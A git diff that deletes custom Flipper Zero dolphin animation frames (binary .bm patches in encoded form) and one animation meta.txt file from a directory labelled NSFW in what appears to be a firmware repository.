zcmV4mTh8A0+{R1cn|D$UXw54~!T*Ps70e|Ni&h_z3^F6WE`J;otv+L;#!cd3X!M z0~f$NtPl_3{$L~VxIic1`e+QpfgcCa@Mj-~c;CSz_W_6qpeezOIS>DLF$t95E5h@G z&1A>1fP4$WKa=R;@K^o>{2cxG4}b_W|A2Y};wmWQ*_fuHC0KMaBpC4N2#czBS4U~m~X z;bLGioCE9N0vIH~A6@_u&wylblvw^a0F@!U_&ku*ul6H^L{}7AN2@>;50Bh zg#n@<`DYB`009tlj)wsOj6gmB`rtr2pZ**Kh9Cutw~PJP&%kgWPZfcBhx0pb8Z0X?G^#ex6?f@05U9i7BGF>07GX5H34FPA-@Ojfdhaa)({Y7Z444TEwBM6Y{0+* DluM;} diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_43.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_43.bm deleted file mode 100644 index 00bfe8a0f319fdf4a676a08ba5626a7a3afea88d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 356 zcmV-q0h|5-0AK%Bj{=o193AgtRA|Gf6;2u_cLIKcAVYmb3%619BK8OQO3vdQmK)|SJ C%$ExQ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_44.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_44.bm deleted file mode 100644 index 74af2a150f1c3199c97a65d7ff604fd6444cf79f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 694 zcmV;n0!jS=0I~xAfF2$X@PA9Pw;ho&F!goEM_0D^oV zJPJ5IaWDz=f&o7V#U24bhr%FV&;R&7@(d;nggya$kA^~W8~{1@;__41jcCIS41vUekbR z;0xja9sqr#*hnNI5fFkb#X_)ne1d@jAczcNN;ToY;4umTykY<$!2ADu@4x>KL4ZJ@ z0wEcV0zlLd0ROn~A4DD{0)zzw1Sllo!akMpSip=zLlhEa@HgX#phP+_3JeIsTmC$Q z-}i`+1Rx+GkPHu>g!uo=LJJxU5+MjUpFe|r`a|gq5f_XK1BeHof*k;(i_SuYFK|42 z_6K-}1)d@Ch&@N~`~Um>5;{x(0xR)j3=$>qzx(_D2uNgL5AlIWTxEeE7vQ)c5qS&L z-ok+`=l)MXi9lW>0Fgo>P=*n2zwz>Ti^mBh7nA`4QSK%Aye9z}j3Lr8A^}7A9~cZs zzo!V1Pv4Bms~|pdjIQ zi}bJ~@qs`jkc-4a1rLV4%RK~cddO9Ma? z41DG}li6Vf;>H+&kVT_H!A{>oju245l4XRVd;)_XghCAifENq~2?3CcL?|&wc%Oti cF$o0*kR~1^4fHS=5I8}ik|a6E=>XA?09ncyJ^%m! diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_45.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_45.bm deleted file mode 100644 index 63b9f5304ba7ced1777b5b70e25048b128e9c794..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 359 zcmV-t0hs;)0Am6FfF2$X@PC8+AK?Cjhx{Mlb_ioGkPpG5|s2JRnpbfgKA7!WZK__)Zxjl7v{^ zFZTjD6e17ckN5`U4}Ze^NCJLHfIU0_v5#OJ5GWvc-XI0o019Zn5EyViQ$@gm!vO~Z zkOR>)P0s()& zz(MhUUkQMJ5HNg4;1>XR;344n9Sp(&`=8IS2l<==%JTsH2jV%vgYYcy0Rw}^82>Bq z2z~_jhh71LH~|QOr*H~jNI(cdU%GU_3Bd3B{{O%Ko|pfFM*<4T5CH#hWf6lY#9=Ud zNIYkL z3w~hQzyiPzg?urI_`-YU!I(x3t^hCa?4uq9a~upFFzJK={&WL^fQEl?S0q9}U_kiX zlY$`-1Mn4t;J_#;(p(G+0DuNTLC~|r9>4^=2#O33qJcw!@JK8IEN=q)C>OvVk;4F+ R?g2Ohv=9!<5&%e1-~ib+wYLBO diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_47.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_47.bm deleted file mode 100644 index c284c27cb53402d898009a6ddee31a32913a67cc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 416 zcmV;R0bl+B0Gt8;fF2$UD*!*H0RIQ{U>{I$e+SMuALwv?@E`j87(agx{rpBi`Trw^ z1`o1;;2<~&us%59!QenfVh@p6@E{+}P(D0t~^ffyBiMgmpIfxr?l KIN*Pmq5v>yE2|R# diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_48.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_48.bm deleted file mode 100644 index 2482ff131046ab606d3e2015b4a2e13759c71a9e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 412 zcmV;N0b~9F0GI*)fF1@6FMvO%0Q!J~$~X_`a6h2n{lE~&AAA5A1L_IjKiG7C_V9hc ze;@hye<#S}2hIi`0E`3gf>0Fj|0m%1@P@`19gqOrLE{F%LG%FloP)_AK=_P<#s-ie zd_z~o;1AF|pgszu^dCdfuovhaP!EM)f)Ao-{t5YDfM0?1ZySUHJP*l&ctPXPPt4fCJzMt_T0%@Bgpi1OEfk1N{H@z@kwh13>Yg{LBvl z9}pNlVTAz&4DcRiBnOZLSRzq~92g#LF&H>KZ~*iz31orj0AGMTKq3HT8H4R4VDd&7 z0Zt_cZVPzG5f2ZDK2Rhd8~{E_1rG<>M5o~KfP>{CP#yq&j02y5`~&n*9y|u{AEJQZ zU@^db6bAzjhb!e`Pzv-O91pAENMLUG02Sb*FnHi4Fj4~o0EQnp57IEFlK@)?4*>ih zg@8X$2=K^!AyEg&@NgV3TZ|9j0vR$~ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_49.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_49.bm deleted file mode 100644 index cbde9960fcfa742c107c4813c566f8eaf3d15260..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 384 zcmV-`0e}7h0DJ-efF2GH@PC7o_z&IyIsxnWfrIvZKi&j9AHN6)KW_&9j|1uk3mgDU zgZID*kUstj{+|G)dU^-(V1Qc&C;nf(!vG@?c>zQKunC6)SAQ6v;2eOVoHNJZFfjtp;1Q39L;sV5ng|S1Fz>_&-xSP0mZF$4cc z-KC%~Kx|>?=`ay6k-qnm{0;X%fPbeT`oKWXqaRn$>`CJfKi7deP&x2EZVA%BL&5VfPLO~>_&yT-MiZhw z5Pb*70Re}H^MSxY2!8knA_v_9@DH>2_#?pkunWcx5557sf%wl5c>kUG4tG!d8Ysb@ zejp(FRtxlC8UTF%j01lt4}c#WU=Yv2;$d)L;J|`_CHUgV7#V&j%bHLIsDb#sTL21Bd`WKzs4y;PenAJ-#Lpf`id6Kmm`x#lBz!Nt}LQ zo)U~I(`eLxw)0uY#hCU^oE8}Jw203IMBfB;fTtdsx% diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_6.bm deleted file mode 100644 index ef9f51f0c8217d903a87ed0cfc0738ff476154c3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 399 zcmV;A0dW2S0E+?tfF1%4PryC{%kU5PfIr*;e}npX59oM4v={gff(8$-_x}I=N6Bbw z@DJ>KA72Cr_#oi=o*xN+PzZDb_%0BA3dVllxC9FU0|(?E0Ma)6!LSfe{z0Gw;t$j^ z0Ui(FJWe7XxWGh#_c#ZgKp!^*`1irE4=)4*@&8bWK6nY@Z_;pK@C*bVqz|k6zVP zqz_hjj72~o@!$j6U@8*|KtI6u7>ok&4YgI@|+I{9%U2L>~zwzp92F4}*!o@BsNB96x~#2f+Zd z_s;>o4krivTtW0e7(c>(uW|xF_!0Jb03U(>fSZNhKnVYUhIw!Y*YE^43jjX91Tx?Q t>)=B!2@FaT14<4IA56o8gv0?e;1I)s_jmyha36jF;Qj~qfP=s^0Al;4q>}&u diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_7.bm deleted file mode 100644 index 14e726fac4e5aa7c28fff6f7885ff3d57f67e29c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 376 zcmV-;0f+tp0CWNWfE*mZfPZ`e{lEwKKd=D(iWl@cH}HOZJz(eurSN~a2>O3~5HNn; z7yTXw?xGG4#?Zh)_rXPv0H1#tJah0MAbd~o5c~MP;rv0FEfy^ckLj#Zr^dRz{5F|bz!Z0}igX4U6lms5lF^s@1gK{W8ga7$}@q>gl69fJ` z_%rE$2oL`$3=D)S8NU#Q9?oz9iV8hA2iL#^Gl_scyad6xSON8bCJ%rgZ~|cPJRtjB W4g&5Ev&m0^_rNF&ARll9=>P~`?WeT> diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_8.bm deleted file mode 100644 index 4f2ce7946ef57a1c85f3e95d428a2c55bf0e64e5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 362 zcmV-w0hRs%0A>OIfF1%4PryC{%kU5PfIr*-|6l|BUyy%;Qh@;n@8Sjz-TXWso(Men zAD@K%1I|95(Qu>mTqpgXgY;ZL{1+HLs0Gmn;JE?yaDapMaPQ0f0x-#@%4k6e{lR11|A?U;5}pW4B&KQ#u;1|L$wBVpO8;3pu*$@zuV%F8}}l diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_9.bm deleted file mode 100644 index fcef01f8c80598020de28c3e26d3a12e70ecfcaf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 343 zcmV-d0jT}~08;_~fF1%4Pk=wX0RIQ}03QV92grR(@^A2egZv-l{}1?o!G~anhxhUS zfrIir@t=e84*>oH?*RjVZ~^z=0gyiK2mYP|`1&CH@Dqd|pT+-2!TZ1$7(TuZ{+t8) zFc0WpKcT?>g9Fpx4|p68@UkEP{(SF?=2dKYa(LfF8U)3?JYyNC!Y3t>NH7 z!RY}11JCvyAbWTL=YL<6a2};3yT6HKpaJ{?%3(eOj6fd40-x?L;Kl$J03I>_#g9M` zlL*890zp410bujNAe))0kagh5Bg6|14TAVU$OOZ{K(Kh+Fc2~Y55-_1F#taSATR}h z--r?q8V5cP@Ho%<@AZSj#H0TQzw_o%7jTt?!4y2K@^C(v5T3^2a0k}_9zG8MKClI$ p;BZs&4-{D7Fkt$CPXI#)SI7Ww03qK4?3iDHeeeT=AO}$NfT&a6n(6=m diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/meta.txt deleted file mode 100644 index 4dccc40b3..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 50 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_0.bm deleted file mode 100644 index 8f620268faeb180771057be413dad199eea6ff81..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 835 zcmV-J1HAkJ06zl&Bm@k+5BMEu0QQ_fAi#9MMFHv!Pyom&>r8PJz@a?Cnb8GF(O%uk^zkS#XzN`50s!Do~rHq3Q-`S#0JZ^`};-Zq!0`u6{s2= z`@6e?frb%DGL(`8ZZ56g-yQ=EN+k-yK&dd0Kp%jw<(bB`}EK*hyDP38C54$D$vPvw|?(-5B~>_ zrjeo2Whj!Wlq<2ZwQxWE`UOH)Rf$P;IxQtaOYXn;Hvd@$QmGK6YN=A3O)I5UlJI}R z@szvAK_sf>P$N{<#=IT<{(_YPfaEGtnJ7qYySZ-z`}Tlka*zoH7Nw}AX**V|Ujy&| zplEPV3MQi!63EiF`q@_ld)^s2h*DL9B=LWLz1w_UTt5xp{*jW>KSnEW z*WLTHtONsb|J~#T<V4-|;WK`|Pes z0O)t;V)B5{JzKuL*RK|4kHhy4fKoui0N(%a-TZDkNdfS0pdiu!4ue(o`rze2aqvsQ z$N(SRe!l>YibsJ92ekw14S+6&1Hgd;*Z_Z`Nq{T)7YFat{{;u<1KIom03rhbB?2lB*##sHy~qe1Y5-;6K*Q|_11#WP;qiz8jtCEWr4|YXF>*=+ z2NEA70GxC{(L#)?{J)3JqyriZ2p)3|-*{qKDIkDB!aqF4-}e^+jFOWoz*Hy%Q}%bN z@X#pIGF1u;7ePuT7y9@850*kng_1yF84&quz1w@}y%(cUl~q9_|J}p90`sJ1pj4_3 z0u_L*`^&;M9E7V&qJl{^RjQW*-Mz0NPXh?5%5^fS7AJvwwf|t^@_}@snJrf;l~S>5 z`ugwp{9Z6fhL%ZEs^xHL1cuv5i3`R_lBra? zwP*#fULnDiYP6clRF@T`+UsE-&$=jTuo@6da`Y%4Db;ey&;p^e>H9B(oYMibEwQ4z@1@{(nnjq<~;5l$G%EyIY|6?l<@f zRHR-tES6IVP}SAtu#ZH%J~W|tv<5>d((ScVSP#JVGN_aWfeIInmZ@#d+n^Bv*wHkw z4Fyp^I*k`^O;v>oguXJMsOV&Z;pS?&zUUY{sW_O`A}dL$a%#QZl-2>@PmADSwJlbv ziR!nP#5h0jc*-=i4Q&a$JI>W=6$yZE!Q)VhR$^J4l%wyjyF~-z`|UslW2Vw+B%E6B zc3VY>U_1Bt28qBhoJ~sg_q)YSrT6#XBAA+`N~Og6hsP~JP7n6|Ks64CTsK&twDi+e`Vo9 z01ra@Ti3w;fP&vVOaL?vzyJFH_GI9Y3vf9A1AeNz2hk4$jCda15BxM9H}Uw0L;%O3 k36xYC-~{-8;Nbk=f6Iywi0C^23gaLLfII=<4*+-rKowqmmH+?% diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_10.bm deleted file mode 100644 index 4581925588daa299dd70b31aea3c557b2fdd51fd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 904 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 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_15.bm deleted file mode 100644 index d2b59b5756bd3d27ad99b4ef4c5286285f2d62f4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 704 zcmV;x0zdr$0K5VKcmu#50Pq1of&D25_DCPnKz~wTp#74ZNGFdy)JvK0!Z zN|kxGgTzEWfO$kGm0qp3CDq-)LE?81c}cGNTjn0CV)wxR(EJAc9$brjr?Xk5YPV2t zN*-oL=WK>B{-+Kh$Z-L{GrEIfxNo6KeMcz``Vt*+_ zCxJeayvC&}pwnVl54pIsunS#RDDxbYt2PW2d1Ydd4fLQuHAy8B?FoPr#{nYZz-kd) zMo3^fnA8RV-Y*SPlmi;ntUx$OmDWoD{s+dDWq@Ke6pdC=rApVrpdWzPY% zlSz_Ncm3HcS9h&~_yOZA%F2<0>h;~IdK*`64S)xZqDhgGRCoLC`~sEMwL?MW5TvF@ zmG$-Bpc1O@ZImDZ&@cxjbl2};=~3EkrJ(YP69!Y={`;UX42P>#8wZo9VpK2Q-gXEX z1!nJc2bCuyq^&_JfP$cGt6H*oN~uo)044*ex3>X`i4g}V0BT;|sT4p11P8v7Rjq*n m+yHux?d}E-xCO4NPap)~J5u2G3V-7z#ahb2Y?Ku3`!aR diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_16.bm deleted file mode 100644 index b9d4714f4fa397cf0b08e7c0419b843ff9115625..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 789 zcmV+w1M2(%01*QKcmu#50PqKZJONOEcK)DX?C?Xu4FUr$_%QO2DsUyB_sIcMVF%C% zT1f>0pYx^v^~J&INt6J_6#&)l>%05#Ju;&KplonI?|0ur>Nuo=O9H4teL?Yq0)_|= zI;|oDB$VPq8~>iR($EXiuY(_6NsyAXt=A zRRN|+H$Ls?d}BiN&cO7U*~`@7zN9(5`PmyxHcWo`Q3_1IoG1EIonxm>i1@&DET zVe}99JY^IORZ68PtyOxr@BAP94=R?YA%xX%sG2MPU-b|E{ek18iAZ%dNUoNrvg+lq3&*U!IY*$%t8-dLOHp>Mz&r!- z%1VLbM3GWXBW2d@pk597JZdl*2Bwt~(A2dbyKDyN&l;pCWIC#*mna_`uWAMUx0}YR z8j?h@G>KElZMwKuYy8g~CNh@i!opEhc_ITgm5h_h8lRAKCHv0U>X)-sDz5_{=h;+U6 zeuw)FqSnP=9fkP9WI9@<_xJzRz%AFf+ymh~pj4?)tp{6Qw}%GCtyOo7JYG-;2GjNK z0uG~F9U}}50T2X?0|BZ66~nhyfN(GXf&euGYYhwtIzeM=#e--7UD&e#L>H>Ahxc(R T4~PQn7kD5)4x)V!27dwMs&{!{ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_17.bm deleted file mode 100644 index b5c68732260878405e44262a3b6d4c03d9e335d4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 819 zcmV-31I+vZ051aocmu#50PqCh0sTM+^uQm`fKyU{+h)00l&2F(!dCDnJn1O&t z!}ss^|L`?2ntAs@frTs}W!+0tr8afx|#+Uxc1tAQ95 zLnVX4d|0FYFfOOidD(Kcw=4--Sz-o9Y!vxRfTT`T|YNVg7q*uZ3{lFx!Tm+t_Rm##SI3Bzj!G9->D}?~A#dR{Mu2*Tg zg7`mscm_wQ0Ly79S}g>k(^UtLeEvGFOamcG$weZ%UYEKjVEgym!=ynDLB={tMzdm=D`T zYJ&05Qh*{a9k;FAHT(g*V2})^N|Y}vZnl#Ei~g_@s7wN-C6vfYL#wU8;2-VyFkrYG zrBb9W8CAFImY{$B@Cq(N1xm!>GMcI+vbs!G z5=rI%(zW-fCBy#D9Fy2;GMY~7RVDhx;6DrKe07p7Op>M26b&j{4S;Mt_tN;&XjH5& z>wDIT_T)kF|NGnHkjg|oSAV_k&$flZJ{xV^0+Ng!Efc$4@8fM$QF#CV^$e9zUNAWa z+Ur-=z@R=4e)~xzPY=?+0IYZFzgVmj!Tr0!DKf22>g}cfdwf#rJOaVLj@1R@0`m6% z^`GEb-#2f5`fe0i`g_8gP diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_18.bm deleted file mode 100644 index ea5d41c9408f98457d6ea9ee3bea9a29d489695d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 850 zcmV-Y1Fif408Rq{cmu#508KzYpim%oU?32HG59~=_Miclx*v#uc_3i-kZC}ta0V=( z1T_s&JnMk=S6`C zMpOqM$9ug2+dx3$M3g~bSPdW?b(gr<%tPr2D2yfx0RMZS|LypEvJ!-7+bkg z-`qI9R9Z|1fl?U__uqN%>+j+7$v`m}NTvg?z4u*Y9u^qLGI~f9f_Ew4U%va(@h1vF zDT-2Pv|kUeTlZJ43Y8_$WTh0X|NdMLN`wNXO47=zc^_7)It?$;ENEF=g+hahl5aoo zcmxN*{|}8qK^3ayW>lYzY71b2|Mu_=CSL`l)gcEZ%J;zgpF8+`Wg3V@O4CWoN~%}b z3|Hay{lGdRSG4k?((+Q*dO!0uN+bIbvaEZ>+httQKW{{1~v0s(yY_i`CV=*Yic{q=WG-K0Q0jq#FF zWjQLQzg6q|(u3mx7mse05_SyUq3hpww)c3H199*F$wOA diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_19.bm deleted file mode 100644 index 53f1cd0231bccaf9b09af900847fe04a274c6638..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 831 zcmV-F1Hk+N06PN!cmu#50Pq4z0sR37Zh{mCU*rr7m%O3IwE(Tn~AuPUR$&#b6r>kRZGps+pk0<4BNF zFs1_7d;ie!v1Kxns3w9{2?P)0Z3`-#ilvH)X(|EowtwKj^NL6%Fr5`EQV<>YRjir{ z1r{Yx%F?Qs4_*B#kxB-u2~gQdF*FVTSQ=l51tTE>s^w{vnwP`ddj}W30aVrODH5%X zN=vQX$5cb_|F6bK;vE$lRY|#f=I{@v|9wEJ(P*_QtfGU8;%{TpkK@Q-7?l{(aTzM4 z##8sz&9|R_?E+;ZkSIn=C8cDw8tHHH|KC20#sN^$(kU4k6}Iae?stFZ(XwDNluVXO zNmT9CqQB4n??Fhcz$Frqc+z~kYius@_y0g5vZw_LiZ2+JqTAJjb~p0-2Bs8}5pavf zwbkE1e;(L=14P*zq>x@)E#FoP@c+PM6+rmPX(I8-bt=-h2Ez9N&}m?h43<+Xl9g_4 zSlCB`KLC(IqPPlFhD9aR>btSH7lI7{pj2Qq42>&ONTpgWcGw4iTsRF^DA z*4u0x8bW+@l??`xiILS@wl=EV3(^1Imj+8Lq{?Yms{X6DwuFEG{@4bVsZ)tivOfQ< zt6Noo_qNyk1gfiq(q%lGuK!Z)0DyhO13;-!WjdOd>)-m-TX7H%{r9(!r9`SRDouZT zuen0xI1c~5|4PznF+ky4#gzkl|MzkM!IElvwSMitt4g3?Kl{J?U~*L`zUxVM z-tFM9oCmx8yM2t4iT;38JO6ui9zlTL+wb@pB_;!^BaPR)+lgSHAHV!wRY{3JKNnr^ ze($e?LJi~Hg4D7|VKa^1>)*b~WH146z$p+=c)%{6-u>5?3lER(E({<6a5wDnpiyX0 z5Abln2cWCI#uos9*PtNw025$oFbUu~Kmsdp1Lb6bQwPlJ0|F1{)4v7>=cE4v2j+n| JAPk^KK&Ew)i~j%s diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_2.bm deleted file mode 100644 index 2552035f4f6e7f4a9dcdb8eb58c0137345422bd2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 755 zcmV7UKz@=5z&!L2pdjcV z5I|AP0*6hh4#ts57#{=TT0E4HKsii=pdNNHA;~E<7zIXAMKBiw!~`Jt#W7hZRT3pt z1rEZ$4-gcSLnNg{vRX+b7J+Ko%0uN+rBZb@NlhmuRMmAl$796BGE}N92nIPAhPPTj zDg{e{B*^NuQc8s?mD;^TL+1dh>Z*}SOqV01+g0G40C?1@l_;(!MU)Q?CabNGcm?B> zB#kDeRgr2UTPwBJ5)T*#mq`NB>ajubs&#dx3uD9E^!UN-g%2fnosmf6# zy=}GHw*&SE##0Fgi@aqg;r9D_(Q)}wqN6gUWVD;9R+noA-V4U10)R**St%qZuid!f z;7#(<%LC;iX%5$IRFc6TikU(OZ znx^Wj_tHp#gYPwrl1Tv2(6K*n|Mr6kbPwnxG^$S4DHQ2zcHerv0ug}Uz$zIGl@gVy zwSWD7ZG0jHfFG2qNh!$DzuQ=M!heDW4%v1z8cs{83#@zpe|!13L+32Y$u7J9rT2gB z|KS(IZ$FJ9K?&qrdR>37`}-pX5AC2qQK*0K_ul`n{||(~3*rDg2CJ+0-u=RY2_JAh zARnvsfA9YP|K;G-01rd&_3r=dy lUw`-ig9GLPy!%U`$bkTO1Hc}s5Ql&~U*Qh`cmu#50PxBITrdCt diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_3.bm deleted file mode 100644 index b57b538557e527ff76f3c273c03d4ee570ab430a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 752 zcmV6@kBo&@&pP zS64QHZVTligJ3iofvDeWi&AoIjkA)Ab@qLoS7*5UF4dDJAZOK^B)H7#`7ivoaef#VR>LN%JLRTFD<*1{nW 